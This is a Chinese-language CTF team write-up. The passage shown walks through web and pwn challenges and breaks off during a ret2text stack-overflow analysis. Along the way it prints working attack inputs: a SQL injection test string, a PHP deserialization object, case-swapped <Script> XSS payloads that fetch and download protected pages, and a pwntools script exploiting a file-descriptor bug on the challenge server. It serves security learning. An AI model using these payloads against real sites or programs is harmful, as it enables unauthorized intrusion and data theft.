青鸟队Writeup
目录
Web
- 【签到】重生之我是考神
- hide on headers
- 高雅登录界面
- php主理人
- 要来力
- 管理员的救赎
- CAFEBABE
Pwn
- NC TEST
- File Descriptor
- Ret2text
- FMT
Crypto
- 神秘的购物清单
- Broadcast Mayday!
- 神秘的购物清单
- 赛博厨师的黑暗料理
- Secure Token?
Reverse
- speed
- 生气的低客
- 苹果人,苹果魂
- 传统语言核易位
Misc
- 嗷呜
- 哈基米得了mvp
- 月半猫和奶龙真是一对苦命鸳鸯
- 我们的游戏確有問題
AI
- 别样的人机大战
OSINT
- View from room 206
题解
Web
1. 【签到】重生之我是考神
如题,是一道简单的签到题,即:学时+2,告辞
哈!↑哈!↓猜猜是哪个笨蛋想了半天没反应过来尝试前端修改分数
那么我们点击进入链接,看见了一份试卷,第一反应是什么?
摆烂呗!还能真让我做出来就有鬼了
我们尝试做题,结果发现后面的内容根本没法写,已经不是时间够不够的问题了(大悲,挂科必然事件)
但是注意看URL:<47.108.129.134:XXXX/?score=0>
有个score可以传参,那么事情就很显然了(逆天改命!我重生了,后面忘了)
逆天改命环节启动,修改参数score=1145141919810
事情发展超出预期,获得flag!
我们进入链接,空空如也,只看见:Nothing to see here…
我真的是,我第一眼还以为没加载出来又点了好几遍
结合一下题目hide,看来有坏东西把flag藏起来了
所以我的第一反应就是把F12打开看看是不是小心思被藏在了里面,然而,搜索flag字符无果
那么会藏在哪里呢? 我们再看一眼标题:headers
头?什么头?我自己想象吗?哦!原来如此,我懂了!
真相只有一个!flag被藏在返回头(服务器响应头(Response Headers))里面了,让我们Burp Suite启动!
以上不是我的解题过程,我当时就想着,藏东西不在F12那估计在抓包内容里面,然后就直接开始抓包了
最后果不其然,我们从返回头里面看到了这么一串内容:X-Secret-Flag: flag{………}
成功找到flag!
3. 高雅登录界面
看见标题我们可以获得什么信息?
捏麻麻滴又是那个傻福企鹅
它是不是说登录?试试看sql注入吧!
在密语处输入:' or 1=1 # 试试水
结果是:此非知音之语。
是注入的方式不太对?不,还是先看看别的,于是打开F12,或者Ctrl + U
然后我们看见这题把代码摆在脸上了:
1
2
3
4
5
6
7
8
9
10
11
12
| let realFlag = null;
async function authenticate() {
const input = document.getElementById('pwd').value;
const decoy = "paris_salon_1888";
if (realFlag === null) {
const response = await fetch('/api/secret');
const result = await response.json();
realFlag = atob(result.data);
}
…… //后面的内容先省略
}
|
我们看见了一个显眼的realFlag(初始为NULL),后面还有个诱饵:decoy
那么高概率事实就和它的命名一样,直接能看见的这个是假的
我们开始看看代码内容,首先如果realFlag的内容为空(说明是第一次执行这个命令的时候会做的事情)它就会去fetch(获取)/api/secret这个目录的内容
至于await,如其名就是等待,可理解为:“请先等待fetch('/api/secret')这个网络请求完成,然后把结果赋值给response,再继续执行后面的代码”
此时response是一个Response 对象,包含了原始的响应数据
然后response调用.json()变为一个JavaScript 对象赋值给result
然后result再调用.data,说明把现在对象里面的data变量调用出来了,并且再通过atob()函数将调出来的data的内容进行了base64解码并赋值给了realFlag
所以我们可以尝试去它说的路径看看,输入URL: <47.108.129.134:XXXX/api/secret> 尝试直接访问看一眼
发现可以直接访问,里面只有一条内容:{“data”:"……"}
结合刚才的分析,显然这个data里面就是就是realFlag的base64编码内容了,我们拿去手动解码一下,CyberChef启动!
不出所料的,解码内容是flag{……}
成功找到flag!
4. php主理人
web题目首先查看F12或者Ctrl + U(单说看代码推荐Ctrl + U)是一个好习惯,今天写WP的时候才注意到提交之后前端代码里面的提示就没了
那么我们来看看提示里的重点部分:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
| <!--
=== 部分 PHP 源代码 ===
提示:完整源代码包含多个类,关键方法的实现被隐藏
提示:仔细分析代码中的类和方法,特别是 __destruct() 方法
提示:尝试输入不同的序列化数据,观察错误信息
<?php
……//省略无关部分
// Flag 读取类
class FlagReader {
private $file = 'flag.txt';
public function __destruct() {
// [关键代码被管理员隐藏]
// 提示:这个方法会在对象销毁时自动调用
// 提示:这个方法可能会输出一些调试信息
}
}
// 处理反序列化请求
$obj = @unserialize($_GET['data']);
// ... 其他处理逻辑 ...
-->
<html lang="zh-CN">
…… <!--省略一部分内容-->
<div class="hint">
<h4>💡 提示</h4>
<p>这是一个 PHP 反序列化测试平台。你可以输入序列化的 PHP 对象数据进行测试。</p>
<p><strong>示例:</strong></p>
<div class="code-example">
O:4:"Item":2:{s:4:"name";s:5:"test";s:4:"desc";s:4:"test";}
</div>
</div>
…… <!--省略一部分内容-->
</html>
|
可以看到它提示我们这是一个反序列化测试平台,而且调用了$obj = @unserialize($_GET['data']);来进行反序列化,那么我们首先了解一下什么是序列化和反序列化,以及unserialize():
1
2
3
4
5
6
7
8
9
10
11
12
13
| 序列化:把内存中的 “活对象”(比如一个用户对象、列表、字典)转换成可存储 / 传输的 “死数据”(如文件、网络字节流);
反序列化:把这些 “死数据” 还原成内存中可操作的 “活对象”,让程序能继续使用其属性、方法。
unserialize() 是 PHP 中一个内置函数,它与 serialize() 函数相对应。serialize() 函数将 PHP 的值或对象转换为一个可存储的字符串表示,而 unserialize() 则将这个字符串还原为原来的 PHP 值或对象。
主要作用:
数据还原:将序列化后的字符串还原为原始的 PHP 数据类型(如整数、字符串、数组、对象等)。
对象重建:当字符串表示一个对象时,unserialize() 会重建该对象,并尝试调用对象的 __wakeup() 魔术方法(如果存在)。
跨脚本数据传递:序列化后的字符串可以存储在文件、数据库或通过网络发送,然后在另一个脚本中通过 unserialize() 还原。
|
也就是说,如果我们写出一个有效的序列化内容,可以让这个平台将他变成一个对象使用,而我们又看到提示所给出的一串内容,我们先了解一下序列化的常见形式和功效:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
| 1. 基本数据类型
字符串(String):
s:6:"Hello!";
s:string 类型标识符
6:字符串长度
"Hello!":字符串内容
整数(Integer)
i:123;
i:integer 类型标识符
123:整数值
浮点数(Float/Double)
d:3.14;
d:double/float 类型标识符
3.14:浮点数值
布尔值(Boolean)
b:1; // true
b:0; // false
b:boolean 类型标识符
1 或 0:布尔值
Null
N; // null
N:null 类型标识符
不需要值
2. 复合数据类型
数组(Array) - 最常见之一
a:3:{i:0;s:3:"red";i:1;s:5:"green";i:2;s:4:"blue";}
a:array 类型标识符
3:数组元素个数
{}:包含键值对
关联数组示例:
a:3:{s:4:"name";s:5:"Alice";s:3:"age";i:25;s:6:"active";b:1;}
对象(Object)
O:8:"stdClass":3:{s:4:"name";s:3:"Bob";s:3:"age";i:25;s:7:"country";s:3:"USA";}
O: 表示这是一个对象(Object)
8: 类名的长度("stdClass" 有8个字符)
"stdClass" - 类名
3: 表示这个对象有3个属性
{}: 属性内容
3. 特殊类型
引用(Reference)
R:2; //引用同一个序列化数据中的第2个元素
用于处理循环引用,不常见但存在。
自定义序列化
实现 Serializable 接口的类:
C:11:"MyClass":28:{a:1:{s:5:"value";s:5:"hello";}}
C:自定义序列化
11:类名长度
28:序列化数据长度
|
由此我们可以看出,样例是给我们了一个不可用的对象的序列化字符串,联系开头所给的提示,我们可以尝试构建一个有效的对象的序列化字符串并提交,让它生效创建对象。
而提示中还强调让我们看看__destruct(),它显然在一个叫FlagReader的类中,结合类的名字以及下面说可能输出一些信息,我们不难推测题目想要我们尝试通过反序列化创建对象并调用它的__destruct()函数,里面极有可能是Flag
所以我们有必要了解一下__destruct()的调用方式:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| __destruct() 是 PHP 专属的析构函数(其他语言如 Python 是 __del__、Java 是 finalize()),用于在对象被销毁(从内存中释放)时自动触发,通常用来执行清理操作(如关闭数据库连接、释放文件句柄、记录销毁日志等)。
它的核心特征是:无需手动调用(除非特殊场景),由 PHP 内存管理机制自动触发。
__destruct () 的调用时机:
PHP 会在「对象失去所有引用、被垃圾回收器回收」或「脚本生命周期结束」时,自动调用析构函数。具体分以下 4 种场景:
1:脚本执行完毕(最常见)
PHP 脚本运行到末尾时,会自动销毁所有内存中的对象,此时所有对象的 __destruct() 都会被触发。
2:显式销毁对象(unset / 赋值 null)
当通过 unset() 销毁对象引用,或给对象变量赋值 null,且该
对象无其他引用时,析构函数立即触发。
3:对象引用计数归 0(垃圾回收)
PHP 用「引用计数」管理内存:每个对象会记录有多少个变量引用它(初始为 1)。只有当所有引用都被销毁(引用计数 = 0),垃圾回收器才会回收对象,触发析构。
4:手动调用
可以像普通方法一样手动调用 $obj->__destruct(),但这仅执行析构逻辑,不会销毁对象;当对象真正被销毁时,析构函数会再次触发。
|
不能看出我们想要利用反序列化调用__destruct()的最容易的方式就是创建一个变量赋值为空(NULL)
所以我们尝试根据类的序列化字符串的格式构建一个FlagReader的空对象:O:10:"FlagReader":0:{}并提交,来尝试调用__destruct()函数。
提交后显示:
1
2
3
4
5
6
7
8
| 反序列化成功
对象类型:FlagReader
⚠️ 调试信息:
<!-- DEBUG INFO -->
Flag is: flag{……}
|
成功找到flag!
5. 要来力
明年能不能给我也来一个预告题目
我们打开实例,看见它加载了一段时间然后开始弹一堆假flag
老规矩我们先Ctrl + U看看前端的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| <html lang="zh-CN">
……<!--省略一部分内容-->
<body>
<div id="flag-box" class="loading">加载中...</div>
<script>
const flagBox = document.getElementById('flag-box');
let flags = [];
let index = 0;
fetch('/get_flags')
……//省略一部分内容
.then(data => {
if (!data.flags || !Array.isArray(data.flags)) {
throw new Error('Invalid data format');
}
flags = data.flags;
setInterval(() => {
flagBox.textContent = atob(flags[index]);
flagBox.classList.remove('loading');
index = (index + 1) % flags.length;
}, 100);
})
……//省略一部分内容
</script>
</body>
</html>
|
首先我们来看看这个长相有些奇特的函数setInterval():
1
2
3
4
5
6
| setInterval 是 JavaScript 中用于周期性重复执行指定代码的内置定时器函数,其核心作用是按照设定的时间间隔,持续触发回调函数,直到被主动清除或运行环境销毁。
setInterval(callback, delay, [arg1], [arg2], ...);
callback:必需,要重复执行的逻辑:
delay:必需,两次执行的时间间隔,单位为毫秒(ms);
注意:实际间隔可能因 JS 单线程事件循环延迟(最小约 4ms)。
arg1...:可选,传递给 callback 的参数(ES5+ 支持)。
|
所以本题中它相当于一种循环,不断调用内容中的函数
忽略掉一些特判处理等东西,我们可以看到代码里面有一个fetch('/get_flags'),然后进行了一种类似遍历的操作,并且对data内容进行了atob()的base64解码
别的不管都能注意到它从里面获取了东西,所以我们直接上去看看去,输入URL:<47.108.129.134:XXXX/get_flags>
然后发现我们顺利访问了里面的内容,开头写着flags,结合上面的内容,显然它是将从这里获取的数据全部遍历输出了一轮
密码的,密密麻麻的看得我犯恶心
那么我们换一种方式来查看这些东西,既然是fetch()函数,那么想来会涉及到网络请求,我们回到原来的网页,打开F12去网络那里看一眼
刷新一下,可以看见网络里面有一个叫做get_flags的项目,显然就是我们要找的网络请求,我们点看看它的响应部分
这下,我们看到它整整齐齐的排列了一大排及其可能是base64编码的内容,结合上文显然这就是用来遍历的flags
我们翻翻滚动条,可以发现这些编码及其相似,结合界面显示的内容,很容易想到这就是那堆假flag的编码
我们继续翻,一路看下去几乎都是相似的内容……
等等!我们翻到最后的时候闪过去了一串长度不一样的东西,这在一排相似的东西里面极其醒目
我们把这串鹤立鸡群的编码拿去解码一下……
不出所料解码内容为:flag{……}
成功获取flag!
6. 管理员的救赎
本题教导我们不要乱拉奇怪的家伙进群聊,小心片哥发力
我们看到页面显示:
1
2
| 规则:必须在下一个申请出现前处理当前申请!
只拒绝“猫大仙”邀请的0级小号,其他用户请勿拒绝!
|
我真傻真的,我明知不可能手工完成的事情我还是尝试了,甚至在结束之后还回去点个遍期待它能给我flag呜呜呜呜
那么人工操作是不实际的,我们得想办法让它实现高科技自动化,比如写个脚本
这时我们就得知道哪些东西是可以在前端操作的了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| 如果指令仅涉及前端本地逻辑,且不触碰安全 / 作用域限制,控制台完全可以执行,比如:
DOM 操作:修改 / 新增 / 删除页面元素、修改属性(如document.querySelector('div').innerText = '测试');
样式修改:调整行内样式、操作样式表(如document.styleSheets[0].rules[0].style.color = 'blue');
前端事件触发:模拟点击、输入、滚动等用户行为(如btn.dispatchEvent(new MouseEvent('click')));
前端数据操作:修改localStorage/sessionStorage、操作内存中的前端变量(如window.userInfo = {name: '测试'},若userInfo是全局变量);
改写前端逻辑:重写全局函数(如window.validateForm = () => true)、覆盖前端校验规则;
BOM 操作:调整窗口大小、修改location.hash(无跳转)、操作history(本地历史)等。
这些场景的核心是:指令仅依赖浏览器前端接口,且能被控制台的执行上下文访问到。
|
所以很多不接触后端内容的事情是可以通过在控制台写个脚本搞定的
所以善用网络AI之力,把要求发给AI让它写了个脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
| (function() {
// 步骤1:等待页面完全加载
if (document.readyState !== 'complete') {
console.log('⏳ 页面还在加载,等待后执行...');
setTimeout(arguments.callee, 1000);
return;
}
// 步骤2:获取socket实例
let socket;
try {
socket = window.socket || io();
console.log('✅ 成功获取socket实例');
} catch (e) {
console.error('❌ 获取socket失败:', e.message);
alert('请确认页面已加载Socket.IO库!');
return;
}
// 步骤3:初始化变量
const processedApps = new Set();
const startBtn = document.getElementById('startBtn');
// 步骤4:验证关键元素
if (!startBtn) {
console.error('❌ 未找到ID为startBtn的按钮');
return;
}
// 步骤5:移除原有监听,绑定自动化逻辑
socket.removeAllListeners('new_application');
socket.on('new_application', (app) => {
try {
console.log('📥 收到新申请:', app);
// 兼容数字/字符串等级,防CTF数据类型坑
const level = Number(app.level);
const isTarget = app.inviter === '猫大仙' && level === 0;
const action = isTarget ? 'reject' : 'accept';
// 避免重复处理
if (processedApps.has(app.id)) {
console.log(`⚠️ 申请${app.id}已处理,跳过`);
return;
}
// 发送操作指令
socket.emit('user_action', { id: app.id, action: action });
processedApps.add(app.id);
console.log(`✅ 自动处理:${action} → 申请ID:${app.id}`);
// 更新UI,模拟原有逻辑
const div = document.getElementById('app-' + app.id);
if (div) {
div.querySelectorAll('button').forEach(btn => btn.disabled = true);
div.classList.add(isTarget ? 'rejected' : 'accepted');
}
} catch (e) {
console.error('❌ 处理申请失败:', e.message);
}
});
// 步骤6:自动启动审核
startBtn.click();
console.log('🚀 自动化审核已启动!等待新申请...');
})();
|
欸!欸!不是凭什么我没在题目的名单里面,是我不配吗
可以看到虽然界面渲染和显示有些BUG,但是操作本身是完成了的,最后末尾显示了flag
成功得到flag!
7. CAFEBABE
tips:题目提示对初学者的价值虽然不大,但是有价值的概率不等于零
首先进入本题的页面,是一个类似于搜索的东西,那么搜索就会想到数据,数据就会想到数据库,数据库就会想到sql注入,所以我们尝试sql注入一下看看,比如测试一些' or 1=1 #什么的内容试试看
哈哈!果不其然!
啊果不其然没什么用处……
但是我们可以注意到,它似乎把读入的内容原模原样显示在了下面,复述一遍你搜索了什么
这下有意思了,我们打开F12页面,可以发现这是一个JavaScript框架,而且复述方式如下:
1
2
3
4
5
6
7
8
9
10
| <div class="results">
<div class="query-display">
你搜索的是:出题人是XNN
</div>
<div class="no-results">
<p style="font-size: 1.2em; margin-bottom: 10px;">😔 抱歉,没有找到相关结果</p>
<p>请尝试搜索:美式、拿铁、卡布奇诺、摩卡、焦糖、浓缩、香草、冰美式、抹茶、澳白、手冲、冷萃</p>
</div>
</div>
|
那么如果我们写一些JavaScript的指令,让它复读,事情就会不一样了
因为如果web处理得不够好,页面在渲染的时候就会误以为复读的内容也是指令的一部分并执行
我们先测试一些简单指令看看能不能成功:<script>alert(1)</script>
可惜天不随人愿,回显说:你搜索的是:>alert(1)
说明不能XSS注入吗?我们先别急,再试试别的:<Script>alert(1)</Script>
把两个script开头换大写,测试看看题目的过滤是不是只过滤了常见的小写拼接方式
结果喜人,页面弹出了一个内容为1的警告弹窗,说明是存在前端XSS注入漏洞的
那么下一个问题又来了:flag在那里?
我们回想一下题目描述:店员不小心把flag扔到咖啡里
如果我们暴力理解这句话就可以理解为这样的一个URL<47.108.129.134:XXXX/cafe/flag>
我们看看能不能访问:
这是个不同的页面,但是我们可以把flag改为其他内容看看,确定它是不是一个独特的内容,尝试访问URL<47.108.129.134:XXXX/cafe/babe>:
很好,我们确定了刚才的页面是独特的,又根据URL推断这就是flag所在的地方,那么我们可以尝试XSS注入获取这个不可访问的位置的内容
构建这样的注入内容尝试一下(如果想要用这些payload实验记得把注释删掉哦):
1
2
3
4
5
| <Script>
fetch('/cafe/flag') // 获取flag文件
.then(r => r.text()) // 将响应内容解析为纯文本
.then(d => alert(d)); // 弹窗显示解析后的flag
</Script>
|
可以看见alert成功把页面里面的内容用文本形式回显了回来,但是由于alert的长度原因似乎没法把页面显示完整,至少flag没出来
我们尝试换个方式回显:
1
2
3
4
5
| <Script>
fetch('/cafe/flag')
.then(r => r.text())
.then(d => prompt('Flag:', d)); //弹窗显示解析后的flag
</Script>
|
在浏览器 JS 中,alert 和 prompt 都是原生弹窗 API,但核心功能、交互方式和 CTF 场景中的用途差异极大 ——前者是纯提示弹窗,后者是带输入框的交互弹窗,而且后者的内容上限更大
我们把prompt成功获取到的内容放到text文件里面看见这样的内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
| ……<!--上方省略-->
<div class="success-icon">🎉</div>
<h1>恭喜!</h1>
<p style="color: #666; font-size: 1.1em; margin-bottom: 20px;">你成功找到了 Flag!</p>
<div>
<a href="/download/flag" class="download-btn">📥 下载 flag.zip</a>
</div>
<div class="info">
<p>点击上方按钮下载 flag.zip 文件</p>
</div>
……<!---下方省略->
|
可以看见flag并非直接显示在了页面里面,我们还得去下载,还好它提供了下载的文件的路径"/download/flag"
所以我们再构建另一个注入内容:
1
2
3
4
5
6
7
8
9
10
| <Script>
fetch('/download/flag')
.then(r => r.blob()) //二进制文件用blob()解析一下
.then(blob => {
const a = document.createElement('a'); // 创建下载链接
a.href = URL.createObjectURL(blob); // 生成Blob临时URL
a.download = 'flag.zip'; // 下载后的文件名
a.click(); // 自动点击触发下载
});
</Script>
|
注入之后看看右上角弹出来的下载,把它下载保存下来。芜湖!我们成功搞到了flag文件……吗?
并没有,666,还有第二关, 我们打开文件,发现依然不是flag!气煞我也!
注意到这是一个Flag.class文件,也就是说这是用java编译的文件,我们打开终端比如Powershell或者WSL2的Linux虚拟机(别的像是VM我没用过不确定),由于我把java安装到了windows里,所以就直接用Powershell了
我们切换目录来到我们保存这个文件的地方(是Flag.class所在的文件夹处)然后执行java Flag,不要加.class后缀,会报错
坏出题人,还有第三关,终端告诉我们:
错误: 加载主类 Flag 时出现 LinkageError
java.lang.ClassFormatError: Incompatible magic value 3405691578 in class file Flag
这是何意味?
它告诉我们魔数有问题。而实际上Java class文件的开头魔数应该是0xCAFEBABE。好小子,提示是这意思呢
所以我们用HxD这个工具打开这个Flag.class
可以看见它的十六进制开头赫然写着CAFEBABA,最后错了一个字母,我们修改一下就好,然后覆盖掉原来的文件。换个名字另存的话使用它会报错,别问我怎么知道的
然后我们再一次执行java Flag
天杀的不要再来第四关了哥们要疯了
可以看见终端回显:
flag{……}
成功获取flag!
Pwn
1. NC TEST
如题所言,测试我们的NetCat
个人在Windows鼓捣NetCat的经历十分曲折,最终,本人毅然回归Kali神教
WSL2的Kali终端上输入指令nc 47.108.129.134 XXX(值得注意的是这里的端口表述方式和URL不一样哦)
终端回显:
flag{……}
成功获取flag!
2. File Descriptor
额,由于这道题我过得既潦草又生草就提前写出来把。。。
我们从附件获得了一个叫做pwn的文件,丢到IDA里面反编译一下,然后获取了它的main函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| int __fastcall main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+2Ch] [rbp-34h]
char file[40]; // [rsp+30h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+58h] [rbp-8h]
v6 = __readfsqword(0x28u);
init();
fd = dup(1);
write(fd, "I've hidden the fd of stdout. Can you find it?\n", 0x2Fu);
close(1);
__isoc99_scanf("%d", &fd1);
write(fd1, "You are right.What would you like to see?\n", 0x2Au);
__isoc99_scanf("%s%*c", file);
open(file, 0);
write(fd1, "What is its fd?\n", 0x10u);
__isoc99_scanf("%d", &fd2);
read(fd2, &buf, 0x50u);
write(fd1, &buf, 0x50u);
return 0;
}
|
由于当天我其实已经被另外几道题折磨得不成人形了,所以干脆什么都没看就丢给了AI,然后AI给我了这样的脚本(端口是写自己的):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
| from pwn import *
import time
# ========== 远程连接配置 ==========
HOST = "47.108.129.134"
PORT = XXXX
# 连接远程服务器(无需本地程序,直接连远程)
p = remote(HOST, PORT)
time.sleep(0.5) # 延迟等待服务器响应
try:
# 读取初始提示
initial = p.recv()
print("=== 远程服务器初始提示 ===")
print(initial.decode('utf-8', errors='ignore'))
# 第一步:输入fd1=3
p.sendline(b'3')
time.sleep(0.2)
# 读取第二步提示
step2 = p.recv()
print("\n=== 第二步提示 ===")
print(step2.decode('utf-8', errors='ignore'))
# 第二步:输入要读取的文件flag
p.sendline(b'flag')
time.sleep(0.2)
# 读取第三步提示
step3 = p.recv()
print("\n=== 第三步提示 ===")
print(step3.decode('utf-8', errors='ignore'))
# 第三步:输入fd2=1
p.sendline(b'1')
time.sleep(0.2)
# 读取最终flag内容
flag = p.recvall(timeout=3)
print("\n=== 远程服务器返回结果(含flag) ===")
print(flag.decode('utf-8', errors='ignore'))
except Exception as e:
print(f"连接/交互错误:{e}")
finally:
p.close()
|
抱着“毁灭吧赶紧的”这样的心态,我直接拿到VSC上跑了一次,终端回显了这样的结果(flag被我去掉了):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| [*] Checking for new versions of pwntools
To disable this functionality, set the contents of C:\Users\AnCs-Lan\.cache\.pwntools-cache-3.13\update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.15.0)
[x] Opening connection to 47.108.129.134 on port 34881
[x] Opening connection to 47.108.129.134 on port 34881: Trying 47.108.129.134
[+] Opening connection to 47.108.129.134 on port 34881: Done
=== 远程服务器初始提示 ===
I've hidden the fd of stdout. Can you find it?
=== 第二步提示 ===
You are right.What would you like to see?
=== 第三步提示 ===
What is its fd?
[x] Receiving all data
[x] Receiving all data: 0B
[x] Receiving all data: 80B
[+] Receiving all data: Done (80B)
[*] Closed connection to 47.108.129.134 port 34881
=== 远程服务器返回结果(含flag) ===
flag{……}
|
我当时:orz(AI你牛大发了)
不管怎么说……(学业压力有点大,写WP的时候没机会再去仔细学学原理了,将来吧反正)
成功得到flag!
3. Ret2text
题目依然是给我们了一个附件,里面有个叫做pwn的文件
那么我们也是依然丢给IDA反编译一下看看
经过一系列代码审计,找到了这么几个重要的函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| //main
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
vulnerable();
return 0;
}
//vulnerable
int vulnerable()
{
_BYTE v1[12]; // [rsp+4h] [rbp-Ch] BYREF
puts("Welcome to SWJTU CTF! Tell me your name:");
gets(v1);
return puts("soooooooo cool!");
}
//backdoor
int backdoor()
{
return system("/bin/sh");
}
|
首先我们来看看什么是ret2text漏洞:
Ret2text(Return to .text)是一种基于栈溢出的攻击技术,通过覆盖函数返回地址,使程序跳转到.text段(代码段)中已有的代码片段执行,从而获取系统控制权。
攻击原理:
利用栈溢出漏洞:当程序存在栈缓冲区溢出时,攻击者可以覆盖返回地址
控制程序流:将返回地址覆盖为目标函数地址(如system函数、shell函数等)
执行恶意代码:程序返回时跳转到目标函数执行
那么结合题目Ret2text,以及backdoor()函数里面的system("/bin/sh"),事情就很明显了,我们需要通过栈溢出实现对backdoor()函数的调用以达到回弹shell的目的
但是在此之前我们先通过checksec看看它的安全机制
那么这个工具是什么呢:
checksec是一个用于分析二进制文件安全保护机制的工具,通常用于漏洞利用(Pwn)和安全研究。执行 checksec –file=文件名 命令会检查此文件的二进制文件启用了哪些安全保护机制。
所以接下来我们开始检查:
1
2
3
| └─$ checksec --file=pwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 44 Symbols No 0 1pwn
|
这里又多了很多数据,我们先看看其含义:
| 安全机制 | 技术名称 | 功能说明 |
|---|
| RELRO | Relocation Read-Only | 控制动态链接重定位表(GOT/PLT)的读写权限,防止GOT表覆盖攻击 |
| STACK CANARY | Stack Canary / Stack Cookie | 在函数返回地址前插入随机值,检测栈溢出时是否被篡改 |
| NX | No-eXecute / Data Execution Prevention | 标记内存页不可执行,防止在栈或堆上执行shellcode |
| PIE | Position Independent Executable | 地址空间随机化,使程序基地址在每次加载时随机变化 |
| RPATH | Runtime Library Search Path | 硬编码的运行时库搜索路径,可能带来安全隐患 |
| RUNPATH | Alternative Runtime Library Path | 更灵活的运行时库搜索路径,优先级低于LD_LIBRARY_PATH |
| Symbols | Debug Symbols | 调试符号信息,可能泄露函数/变量地址和名称 |
| FORTIFY | _FORTIFY_SOURCE | 编译时加强缓冲区溢出检查,替换危险函数为安全版本 |
| Fortified | FORTIFY 保护函数计数 | 实际启用了FORTIFY保护的函数数量 |
| Fortifiable | 可强化函数计数 | 可通过FORTIFY保护但当前未启用的函数数量 |
所以显然这道题目作为例题一样的存在是比较仁慈的,没设置什么安全机制,我们只需要直接考虑如何利用漏洞就好
我们可以从伪代码中看见读入数据存储的数组大小为12个字节
1
2
3
4
5
6
7
8
9
10
| .text:00000000004011B6
.text:00000000004011B6 ; =============== S U B R O U T I N E =====================
.text:00000000004011B6
.text:00000000004011B6 ; Attributes: bp-based frame
.text:00000000004011B6
.text:00000000004011B6 ; int backdoor()
.text:00000000004011B6 public backdoor
.text:00000000004011B6 backdoor proc near
.text:00000000004011B6 ; __unwind {
.text:00000000004011B6 000 F3 0F 1E FA endbr64
|
再结合追踪backdoor()的text段,可以发现其地址为0x4011B6(不确定是不是所有人的文件都一样,应该是一样的)
但是在构造读入内容之前我们还需要确定它的文件类型
这时候就会用到file命令:
file命令用于识别文件类型。它通过检查文件的头部内容(魔数,magic numbers)和结构来判断文件类型,而不是依赖文件扩展名。
1
2
| └─$ file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=846a13cb40eea137b0447fe9278a3589969ad57e, for GNU/Linux 3.2.0, not stripped
|
坏了,怎么又是一大串叽里咕噜的不知所云,再看看这里又是说了什么吧:
| 字段 | 含义 | 详细说明 |
|---|
| ELF | 可执行和链接格式 | Linux/Unix系统的标准二进制文件格式 |
| 64-bit | 64位程序 | 使用64位地址空间和64位寄存器 |
| LSB | 小端字节序 | 数据的最低有效字节存储在最低内存地址 |
| executable | 可执行文件 | 可以直接运行的程序(非库文件或目标文件) |
| x86-64 | 处理器架构 | AMD64/Intel 64指令集(64位x86架构) |
| version 1 (SYSV) | System V ABI版本 | 遵循Unix System V应用程序二进制接口标准 |
| dynamically linked | 动态链接 | 运行时加载共享库,依赖外部库文件 |
| interpreter | 程序解释器 | 动态链接器路径,负责加载程序及其依赖库 |
| /lib64/ld-linux-x86-64.so.2 | 动态链接器路径 | 64位Linux系统的标准动态链接器位置 |
| BuildID[sha1] | 构建标识符 | 使用SHA1哈希算法生成的文件唯一标识,用于调试和版本管理 |
我们需要知道的是:
在64位x86-64架构中,寄存器(如rbp)的大小是8字节(64位),栈的设计是向低地址方向生长的。这意味着当数据压栈时,栈指针(SP/ESP/RSP)减小;当数据出栈时,栈指针增大。这种设计是硬件层面的约定。
小端字节序:内存中数据按字节逆序存储,影响payload构造(如地址0xdeadbeef存储为ef be ad de)
那么结合vulnerable()函数的内容和IDA注释,我们可以绘制出其栈空间的布局:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| 高地址 (高内存地址)
+----------------------+ <-- 调用前的 rsp (original_rsp)
| 返回地址 | 8字节 (call指令压入) [original_rsp-8 ~ original_rsp-1]
+----------------------+ <-- 当前 rbp 指向这里 [original_rsp-16]
| 保存的 rbp | 8字节 (push rbp) [original_rsp-16 ~ original_rsp-9]
+----------------------+ <-- v1 数组结束 [original_rsp-17]
| v1[11] | \
| ... | |
| v1[1] | | v1 数组,12字节
| v1[0] | / [original_rsp-28 ~ original_rsp-17]
+----------------------+ <-- v1 起始地址 (rbp-0Ch) [original_rsp-28]
| 其他… |
+----------------------+ <-- 当前 rsp
低地址 (栈顶)
|
PS:这里提到了两个东西,简单了解一下:
| 指针 | 名称 | 作用 | 特点 |
|---|
| RSP | 栈指针 | 指向当前栈顶位置 | 动态变化,随push/pop改变 |
| RBP | 基址指针 | 指向当前栈帧的底部 | 相对稳定,在函数内基本不变 |
当然,这来源于出题人的仁慈,特地单独开了这个函数,否则其栈空间的布局还要考虑其他申明的自变量及其声明顺序(但是图是便于理解,平时不用画出来)
